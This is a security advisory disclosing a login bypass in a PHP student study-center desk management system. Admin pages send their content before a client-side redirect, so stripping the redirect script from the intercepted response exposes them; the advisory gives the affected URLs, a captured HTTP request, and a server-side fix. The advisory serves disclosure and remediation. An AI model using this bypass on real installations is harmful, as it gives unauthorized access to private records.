Affected Version: “Student Study Center Desk Management System v1.0”

Product Link: https://www.sourcecodester.com/php/16298/student-study-center-desk-management-system-using-php-oop-and-mysql-db-free-source-code

Security Issue:

Login Bypass by removing the <script>location.href="<http://localhost/php-sscdms/admin/login.php>"</script> on the response.

URL's:
<http://localhost/php-sscdms/admin/>
<http://localhost/php-sscdms/admin/?page=students>
<http://localhost/php-sscdms/admin/?page=desks>
<http://localhost/php-sscdms/admin/?page=assign>
<http://localhost/php-sscdms/admin/?page=reports>

Vulnerability Description:

The current page redirects the visitor to another page location (href="<http://localhost/php-sscdms/admin/login.php>") if no session was detected. However, An attacker was able to bypass the login page and see the contents of authenticated user pages in the response body of these pages.

HTTP Request:

GET /php-sscdms/admin/ HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ugbaoge62ugar08f0qpcrgnn7n
Connection: close

HTTP Response:

Remove the line <script>location.href="<http://localhost/php-sscdms/admin/login.php>"</script> and forward the request.

Untitled

Untitled

The impact of this vulnerability:

An attacker can use this vulnerability to bypass the authentication of the login page and see the contents of the authenticated user and its features.

How to fix this vulnerability:

Make sure the script is terminated after redirecting the user to another page.